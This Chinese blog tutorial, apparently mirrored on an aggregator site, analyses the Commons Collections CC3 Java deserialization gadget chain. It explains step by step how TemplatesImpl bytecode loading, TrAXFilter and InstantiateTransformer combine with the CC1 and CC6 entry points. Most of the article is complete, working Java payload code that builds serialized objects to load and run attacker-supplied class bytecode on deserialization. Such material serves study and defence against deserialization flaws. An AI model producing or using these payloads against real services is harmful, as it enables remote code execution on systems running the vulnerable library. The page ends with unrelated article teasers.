Java反序列化利用链篇 | CC3链分析、TemplatesImpl类中的调用链、TrAXFilter、InstantiateTransformer类的transform()【本系列文章的分析重点】

news/2024/11/18 0:11:40/文章来源:https://www.cnblogs.com/leyilea/p/18426191

CC3链分析

1. CC3链背景

前面介绍了CC1和CC6,这两条链子虽然前面的入口类不同

  • CC1入口类是AnnotationInvocationHandler
  • CC6入口类是HashMap

但是其触发恶意代码的方式是相同的,都是InvokerTransformer.transform()触发Runtime.getRuntime().exec()实现命令执行。

而在很多情况下,Runtime.getRuntime().exec()方式会被服务器所禁止(代码黑名单),导致最终利用链无法执行。

而除了Runtime.getRuntime().exec()这种方式之外,还有别的方式能够触发恶意代码吗?

答案是有的:就是通过类加载机制加载恶意类,执行恶意代码。

CC3链则是前面的入口类不变,而后面执行恶意代码利用的是类加载机制加载恶意类的方式。

2. CC3链环境

环境还是使用CC1链的环境:

  • Apache Commons Collections 3.2.1
  • JDK 8u66

3. CC3链中使用的动态类加载机制

通常情况下,实战中使用动态类加载机制加载恶意类的方式有以下几种:

  • URLClassLoader 任意类加载
  • ClassLoader.defineClass 字节码加载任意类(私有方法)
  • Unsafe.defineClass 字节码加载(公有方法),但类不能直接生成,Spring中可以直接生成

而CC3链则是利用的ClassLoader.defineClass 字节码加载任意类(私有方法)

ClassLoader.defineClass 字节码加载任意类方式为:

// 获取一个classLoader对象
ClassLoader cl = ClassLoader.getSystemClassLoader();
// 通过反射获取到ClassLoad类中的defineClass方法对象
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
// Test类的字节码
byte[] code = Files.readAllBytes(Paths.get("Test.class文件路径"));
// 相当于执行了 cl.defineClass("Test",code,0,code.length),即通过字节码创建了一个名为Test的类
Class c = (Class) defineClassMethod.invoke(cl,"Test",code,0,code.length);
// 对Test类实例化
Test testObj = c.newInstance();

4. TemplatesImpl类的利用方式

TemplatesImpl类的利用也是比较常用的,这里单独拿出来说一下~
当然也是CC3链中的一环。

4.1. TemplatesImpl类中的调用链

先定位到java/lang/ClassLoader中的defineClass()方法:

通过defineClass()方法可以加载一个类字节码,生成一个类对象。如果类字节码中存在恶意的内容,则会执行。

接下来寻找一下哪里调用了defineClass()方法,和其他利用链一样,最终需要找到readObject()

Alt+F7寻找一下defineClass()方法的调用(注意选择All Places)

找到TemplatesImpl.TransletClassLoader中的defineClass()

继续寻找TemplatesImpl.TransletClassLoader中的defineClass()方法的调用:

找到TemplatesImpl.defineTransletClasses中的defineClass()调用

继续寻找defineTransletClasses()方法的调用:

寻找到TemplatesImpl.getTransletInstance()方法中存在其调用

需要getTransletInstance()方法的调用:

寻找到TemplatesImpl.newTransformer()方法中存在其调用

TemplatesImpl.newTransformer()方法由public修饰,可以直接调用

这里可以先测试下这一调用关系,调用TemplatesImpl.newTransformer()方法尝试触发动态类加载,实现恶意代码执行~

此时的调用链为:

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.TransletClassLoader.defineClass
java.lang.ClassLoader#defineClass

4.2. 构造TemplatesImpl类中的调用链的payload

接下来我们构造一下当前的调用链的payload,使其调用TemplatesImpl.newTransformer()时,加载恶意类,触发恶意代码。

通过刚才的分析,当调用到newTransformer()方法时,会触发一系列的调用,当然,我们要解决中间的一些“阻碍”。

首先创建一个TemplatesImpl对象:

TemplatesImpl templates = new TemplatesImpl();

接下来调用newTransformer()方法:

templates.newTransformer();

此时的整体代码为:

TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer();

此时运行代码,并不会执行恶意代码,因为我们连恶意类字节码还没呢!此时只是调用了newTransformer()方法而已,调用链并不能成功执行下去。

但是我们开头和结尾已经有了,接下来需要在中间将参数、限制条件等解决掉。

假如现在我们已经执行了newTransformer()方法,那么到底是什么内容限制了调用链的成功执行呢?

一步一步看:

首先调用newTransformer()方法后,我们通过调用链得知,接下来需要调用TemplatesImpl.getTransletInstance()方法,而在newTransformer()方法内部可以发现,并没有什么可以阻碍代码执行到getTransletInstance()方法,所以这里“过~”

接下来,是需要调用TemplatesImpl.defineTransletClasses()方法,进入getTransletInstance()方法看一下:

从这里可以发现,这里有两道坎,一个是_name,一个是_class,我们需要满足:

  • _name 不能为null
  • _class必须是null

因为这些属性默认就是null,所以我们需要给_name赋值,使其不是null。

通过查看_name属性在该类中的赋值情况,发现并不好赋值,所以接下来我们通过反射,给_name属性赋值:

Class templatesClass = templates.getClass();
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa"); 

此时payload代码如下:

TemplatesImpl templates = new TemplatesImpl();Class templatesClass = templates.getClass();
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");templates.newTransformer();

此时运行,还是执行不成功。因为后面还是有别的限制的,继续分析~

现在能成功调用defineTransletClasses()方法了,根据调用链得知,接下来需要调用TransletClassLoader.defineClass()方法。

进入到defineTransletClasses()方法内部:

发现,这里有一个限制,就是_bytecodes属性,不能为空,否则报异常。

看看_bytecodes属性,发现是一个二维数组:

并且在调用defineClass()方法的位置,_bytecodes[i]会当做defineClass()方法的参数传入。

一步步进入defineClass()方法后会发现,最后调用了ClassLoader.defineClass(),当然这里就是前面所说的调用链。

这里我们关注_bytecodes[i]参数,最终会成为ClassLoader.defineClass()方法的byte[] b,也就是说最终通过defineClass方式加载的类字节码。

这里先准备个.class的恶意文件:

1)创建恶意类

2)构建项目

3)将生成的Test.class恶意文件放入一个目录中(随意)

我这里放的位置为:E:\_JavaProject\temp\Test.class

准备好.class文件之后,接下来给_bytecodes属性赋值,注意它是一个二维数组,传入defineClass()方法的是_bytecodes[i],所以我们加载的.class文件的字节码内容,应该放在_bytecodes[i]处。

相关代码如下:

Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1); // 将要加载的类字节码放进去

此时的payload为:

TemplatesImpl templates = new TemplatesImpl();Class templatesClass = templates.getClass();
// 赋值_name
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");
// 赋值_bytecodes
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1); // 将要加载的类字节码放进去templates.newTransformer();

但是此时运行,还是不行。经过调试,发现defineTransletClasses()方法中用到的_tfactory也不能为null:

接下来安装同样的方法,将_tfactory也设置上内容,

查看一下_tfactory的类型:

发现是TransformerFactoryImpl类型,但是被transient修饰,也就是说不能进行序列化。

那这不完了吗?我们所说的这个链是用于反序列化的,不能序列化那后面用不了啊 。

用不了的解释:即使现在将_tfactory手动赋值了,能完成此时的调用链执行,但是序列化的时候不会序列化进去,那反序列化的时候_tfactory还是为空,执行到这的时候还是执行不下去~

但是~说巧不巧,TemplatesImpl类的readObject()方法中存在_tfactory赋值:

这意味着什么呢?

意味着,即使我们没有将_tfactory序列化进去,但是执行readObject()即反序列的时候,同样会给_tfactory赋值!这样就不用担心_tfactory为null了。

OK,接下来通过相同的方式给_tfactory赋值:

Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());

此时完整的payload为:

TemplatesImpl templates = new TemplatesImpl();Class templatesClass = templates.getClass();
// 赋值_name
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");
// 赋值_bytecodes
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1); // 将要加载的类字节码放进去
// 赋值_tfactory
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());templates.newTransformer();

但是此时运行,还是执行不了。

并且报NullPointerException空指针异常的错误。

当我们通过断点调试,发现

这里有个判断:

  if (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex = i;}else {_auxClasses.put(_class[i].getName(), _class[i]);}

即动态加载的类的父类需要是ABSTRACT_TRANSLET,即AbstractTranslet

如果不是,就会进入到else语句,而此时的_auxClasses为null,因此会报NullPointerException空指针异常的错误。

这里解决方式,也很简单,不然语句进入else即可,即将我们动态加载的类继承一下AbstractTranslet即可。

因此,Test.java的代码修改为:

然后再加载其.class即可。

5. CC1链和CC6链与TemplatesImpl类的结合使用

通过上面的分析,我们只需要执行templates.newTransformer(),就可以实现恶意代码的执行。

那么如何在反序列化时执行templates.newTransformer()呢?其实方式很多,比如利用之前CC1和CC6链的前半段中的InvokerTransformer.transformer()就可以执行任意方法。

在CC1链的分析中:使用InvokerTransformer对象调用transform()方法,会以反射的方式执行任意方法。

所以我们也可以通过InvokerTransformer.transformer()来执行templates.newTransformer(),进而执行到恶意代码。

这里就是解决CC1、CC6的前半段和TemplatesImpl类的命令执行实现的,其实和CC1、CC6也差不多,只是换了命令执行的方式:

  • 之前是Runtime.getRuntime().exec()方式执行恶意代码。
  • 现在是templates.newTransformer()动态类加载任意类方式执行恶意代码。

📌其实这种结合方式很多,各个链子之间也可以拆开组合,形成十几条链子都是没问题的~

5.1. CC1-1链与TemplatesImpl类结合使用

这里的调用链是使用CC1-1链的前半段+TemplatesImpl类调用链。

sun.reflect.annotation.AnnotationInvocationHandler#readObject
org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.MapEntry#setValue
org.apache.commons.collections.map.TransformedMap#checkSetValue
org.apache.commons.collections.functors.ChainedTransformer#transform
org.apache.commons.collections.functors.InvokerTransformer#transform
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.TransletClassLoader.defineClass
java.lang.ClassLoader#defineClass

在payload代码中只有transformerArray需要修改一下,其他都是一样的。

TemplatesImpl templates = new TemplatesImpl();Class templatesClass = templates.getClass();
// 赋值_name
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");
// 赋值_bytecodes
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1); // 将要加载的类字节码放进去
// 赋值_tfactory
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());// templates.newTransformer();
// 使用CC1链的前半段,只有transformerArray不同,其他都是一样的
Transformer[] transformerArray = new Transformer[]{// 传入templates,返回templates,当做下一个transformer的调用者new ConstantTransformer(templates),// 这里在反序列化时,会触发templates.newTransformer()new InvokerTransformer("newTransformer",null,null),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);HashMap map = new HashMap();
map.put("value","I am leyilea!");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class, transformedMap);SerAndUnser.serialize(obj);
SerAndUnser.unserialize("ser.bin");

5.2. CC1-2链与TemplatesImpl类结合使用

这里的调用链是使用CC1-2链的前半段+TemplatesImpl类调用链。

sun.reflect.annotation.AnnotationInvocationHandler#readObject
sun.reflect.annotation.AnnotationInvocationHandler#invoke
org.apache.commons.collections.map.LazyMap#get
org.apache.commons.collections.functors.ChainedTransformer#transform
org.apache.commons.collections.functors.InvokerTransformer#transform
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.TransletClassLoader.defineClass
java.lang.ClassLoader#defineClass

在payload代码中只有transformerArray需要修改一下,其他都是一样的。

TemplatesImpl templates = new TemplatesImpl();Class templatesClass = templates.getClass();
// 赋值_name
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");
// 赋值_bytecodes
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1); // 将要加载的类字节码放进去
// 赋值_tfactory
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());// templates.newTransformer();
// 使用CC1链的前半段,只有transformerArray不同,其他都是一样的
Transformer[] transformerArray = new Transformer[]{// 传入templates,返回templates,当做下一个transformer的调用者new ConstantTransformer(templates),// 这里在反序列化时,会触发templates.newTransformer()new InvokerTransformer("newTransformer",null,null),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler ih = (InvocationHandler)declaredConstructor.newInstance(Target.class, lazyMap);Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, ih);
mapProxy.entrySet();InvocationHandler obj = (InvocationHandler)declaredConstructor.newInstance(Target.class, mapProxy);SerAndUnser.serialize(obj);
SerAndUnser.unserialize("ser.bin");
}

5.3. CC6链与TemplatesImpl类结合使用

这里的调用链是使用CC1-1链的前半段+TemplatesImpl类调用链。

java.util.HashMap#readObject()
java.util.HashMap#hash
org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode
org.apache.commons.collections.keyvalue.TiedMapEntry#getValue
org.apache.commons.collections.map.LazyMap#get
org.apache.commons.collections.functors.ChainedTransformer#transform
org.apache.commons.collections.functors.InvokerTransformer#transform
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.TransletClassLoader.defineClass
java.lang.ClassLoader#defineClass

在payload代码中只有transformerArray需要修改一下,其他都是一样的。

5.4. 调用链组合小总结

可以看到,很多调用链都是换汤不换药,调用链包含以下三个部分:

  • 入口类 source
  • 调用链 gadget chain
  • 执行类 sink

其中执行类sink有两种:

  • Runtime.getRuntime().exec()方式执行恶意代码。
  • templates.newTransformer()动态类加载任意类方式执行恶意代码。

而入口类source和调用链gadget chain可以有很多组合,Java反序列化CC调用链中都是不同的组合类型。

6. CC3链分析

有了以上的这些知识之后,再来分析CC3链会非常简单(当然其他CC链也会非常好理解了)。

好,进入正题!

其实CC3链和“CC1-2和TemplatesImpl类”的组合很相似。只是在中间的调用链部分多了一些内容。

6.1. TrAXFilter

在之前了解的TemplatesImpl类的利用方式,我们需要执行TemplatesImpl.newTransformer()来触发动态类加载,执行恶意代码。

当时使用的是直接实例化TemplatesImpl对象,然后调用newTransformer()

其实也可以寻找在哪里有调用newTransformer()方法,比如下面的TrAXFilter类的构造方法中就存在其调用(这也是CC3链中使用的)。

TrAXFilter类的构造方法中,接收一个Templates对象作为参数,而TemplatesImpl类继承自Templates,所以TemplatesImpl类的调用链中的TemplatesImpl对象也可以当做其参数。

所以,我们可以将TemplatesImpl类中的调用链的payload做一下简单修改,同样可以触发恶意代码:

templates.newTransformer();

修改为

new TrAXFilter(templates);

此时会调用TrAXFilter的构造方法,进而执行templates.newTransformer()

此时完整的payload代码如下:

TemplatesImpl templates = new TemplatesImpl();Class templatesClass = templates.getClass();
// 赋值_name
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");
// 赋值_bytecodes
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1); // 将要加载的类字节码放进去
// 赋值_tfactory
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());//        templates.newTransformer();
new TrAXFilter(templates);

可以看到,可以正常执行恶意代码:

那么接下来继续寻找TrAXFilter()构造方法的调用,虽然有,但是不是我们想要的(这里可以自行分析一下)。

接下来我们了解一个InstantiateTransformer类,这是CC3链中使用到的,也是CC3链的重点。

6.2. InstantiateTransformer类的transform()

InstantiateTransformer类的构造方法和transform()方法如下:

通过分析transform()方法,会发现,它的作用是

  • 将传入的input对象先进行判断,如果是Class对象则跳过判断,进入后面的代码
  • 后面的代码是通过getConstructor()方法获取到input类对象的构造方法对象Constructor
  • 之后通过newInstance()方法,获取到对应的input类的实例对象之后返回
  • 其中iParamTypesiArgs为对应方法的参数,在构造方法中有赋值

因此有了InstantiateTransformertransform()方法,我们可以通过此方式来创建TrAXFilter对象,即调用TrAXFilter的构造方法,触发恶意代码。

所以可以将new TrAXFilter(templates)进行修改:

  • transform()方法的参数inputTrAXFilter.class
  • iParamTypes属性为TrAXFilter构造方法的参数类型即new Class[]{Templates.class}
  • iArgs属性为TrAXFilter构造方法的参数即new Object[]{templates}
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);

同样可以执行恶意代码:

6.3. 完成最后的冲刺

那接下来就是寻找transform()方法的调用,其实这里可以接上CC1的前半部分调用链了,通过ChainedTransformer来进行调用。即将instantiateTransformer放入ChainedTransformer链中,然后按照CC1的方式调用即可。

相关代码如下:

//        templates.newTransformer();
//        new TrAXFilter(templates);InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
//        instantiateTransformer.transform(TrAXFilter.class);Transformer[] transformerArray = new Transformer[]{// 传入TrAXFilter.class,返回TrAXFilter.class,当做下一个transform的参数new ConstantTransformer(TrAXFilter.class),instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);

可以简单整理一下:

Transformer[] transformerArray = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);

6.3.1. 结合CC1-2链的调用链

所以完整payload就可以修改为如下:

TemplatesImpl templates = new TemplatesImpl();Class templatesClass = templates.getClass();
// 赋值_name
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");
// 赋值_bytecodes
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1); // 将要加载的类字节码放进去
// 赋值_tfactory
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());Transformer[] transformerArray = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);// 2. 创建LazyMap对象
LazyMap lazyMap = (LazyMap)LazyMap.decorate(new HashMap(), chainedTransformer);
// 3. TiedMapEntry.getValue()方法,会调用map.get(),其中将map属性设置为LazyMap对象
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, new String());
//        tiedMapEntry.getValue();
// 4. TiedMapEntry.hashCode()方法,会调用TiedMapEntry.getValue()
//        tiedMapEntry.hashCode();
// 5. 完成HashMap.hash()及HashMap.readObject()
HashMap hashMap = new HashMap();
// 6. 解决hash提前触发问题
// 1)获取到tiedMapEntry的map属性(map属性存放的就是lazyMap)
Field mapField = tiedMapEntry.getClass().getDeclaredField("map");
mapField.setAccessible(true);
// 2)将map属性设置为一个空的map对象(除上面创建的lazyMap都行)
mapField.set(tiedMapEntry,new HashMap());
// 3)执行之前的put操作,此时tiedMapEntry对象是不完整的
hashMap.put(tiedMapEntry,"aaa");  // 将tiedMapEntry当做key存入hashMap
// 4)完成put操作后,再将其设置为lazyMap对象
mapField.set(tiedMapEntry,lazyMap);SerAndUnser.serialize(hashMap);
SerAndUnser.unserialize("ser.bin");

这里结合的是CC1链的第2条CC1-2链,即LazyMap的方式,其实也可以使用CC1-1链,都是一样的,只是调用方式有点不同。

6.3.2. 结合CC1-1链的调用链

相关的payload如下:

TemplatesImpl templates = new TemplatesImpl();Class templatesClass = templates.getClass();
// 赋值_name
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");
// 赋值_bytecodes
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1); // 将要加载的类字节码放进去
// 赋值_tfactory
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());Transformer[] transformerArray = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);HashMap map = new HashMap();
map.put("value","I am leyilea!");Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class, transformedMap);SerAndUnser.serialize(obj);
SerAndUnser.unserialize("ser.bin");

7. CC1-1、CC1-2、CC3、CC6调用链总结

8. 参考链接

Java反序列化Commons-Collection篇03-CC3链 - 1vxyz - 博客园 (cnblogs.com)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/801837.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

VUE学习day one

学习来源:【前端最新Vue2+Vue3基础入门到实战项目全套教程,自学前端vue就选黑马程序员,一套全通关!】https://www.bilibili.com/video/BV1HV4y1a7n4?vd_source=6dac49feb8d7fd76b147c8cf8c0c2b5a Vue是什么?Vue是一个用于构建用户界面(基于数据动态渲染出用户看到的页面)…

全网最适合入门的面向对象编程教程:51 Python 函数方法与接口-使用 Zope 实现接口

在 Python 中,Zope 提供了一种机制来定义和实现接口。Zope 的接口模块通常用于创建可重用的组件,并确保组件遵循特定的接口规范。全网最适合入门的面向对象编程教程:51 Python 函数方法与接口-使用 Zope 实现接口摘要: 在 Python 中,Zope 提供了一种机制来定义和实现接口。…

Java反序列化利用链篇 | CC1链的第二种方式-LazyMap版调用链【本系列文章的分析重点】

CC1链的第二种方式-LazyMap版调用链 目录LazyMap构造payloadCC1的调用链参考链接LazyMap 在之前的CC1链中分析,其实是其中一种方式(国内版本),还有另外一种方式,也是ysoserial中的CC1链的方式(国外版本)。 区别在于调用transform的类是不同的。 在寻找transform调用的时…

瑞云科技AIGC云平台:重塑电商设计流程!

在快节奏的电商市场中,商品更新换代的速度越来越快,而电商设计团队传统的设计流程和工作模式却难以满足当前行业对快速响应、高效发展和降低成本的实际需求.对此,瑞云科技针对电商设计行业的痛点,提供了全新的AIGC创作云平台.从2022年ChatGPT的发布到,AI正以惊人的速度席卷全球…

学习高校课程-软件工程-敏捷开发(ch5)

WHAT IS AGILITY 什么是敏捷性 An agile team is a nimble team able to appropriately respond to changes. Change is what software development is very much about. Changes in the software being built, changes to the team members, changes because of new technolog…

从零开始一个git操作实例,图文并茂

徒弟不懂git怎么用, 于是写了篇文章, 把本地git操作从头写了一遍, 自己去看吧!0、基本概念 •Git是一个免费、开源的、分布式版本控制系统 •它使用一个特殊的叫做仓库的数据库来记录文件的变化 •仓库中的每个文件都有一个完整的版本历史记录 1)安装 sudo apt-update sud…

Java反序列化利用链篇 | JdbcRowSetImpl利用链分析

JdbcRowSetImpl利用链 前言 首先说明一下:利用链都有自己的使用场景,要根据场景进行选择不同的利用链。 JdbcRowSetImpl利用链用于fastjson反序列化漏洞中。 为什么? 因为fastjson会在反序列化类时自动调用set开头的方法(不一定是setter方法),而JdbcRowSetImpl中存在一个…

Java反序列化调用链分析系列 | URLDNS链

URLDNS链 URLDNS链是java通过反序列化发起dns请求的利用链。一般用于测试反序列化漏洞。 该链比较简单,利用链也比较短。 其中入口类为 HashMap,执行类为URLStreamHandler的hashCode()方法。 整个调用链如下: HashMap.readObject() HashMap.putVal() HashMap.hash()URL.hash…

控制请求并发数量:p-limit 源码解读

p-limit 是一个控制请求并发数量的库,他的整体代码不多,思路挺好的,很有学习价值; 举例 当我们同时发起多个请求时,一般是这样做的 Promise.all([requestFn1,requestFn2,requestFn3 ]).then(res =>{})或者 requestFn1() requestFn2() requestFn3()而使用 p-limit 限制并…

程序员职业发展之路思考:工程师的等级阶梯

德雷福斯模型:新手到专家 德雷福斯模型(Dreyfus model)是在 1980 年,Dreyfus 兄弟共同提出的技能习得模型。 它是一个技能习得的阶梯模型,也可以用来考察行业技术能手的分级。该模型由上而下分成:专家、精通者、胜任者、高级新手、新手五个等级,越到上面人数占比越少。新…

2024 人工智能学习内容

第六组思维导图:图形的认识

04. 流程控制

一、流程控制流程控制就是用来控制程序运行中各语句执行顺序的语句。基本的流程结构为:顺序结构,分支结构(或称选择结构),循环结构。顺序结构:程序自上到下执行,中间没有任何判断和跳转; 分支结构:根据条件,选择性的执行某段代码,有 if……else 和 switch……case 两…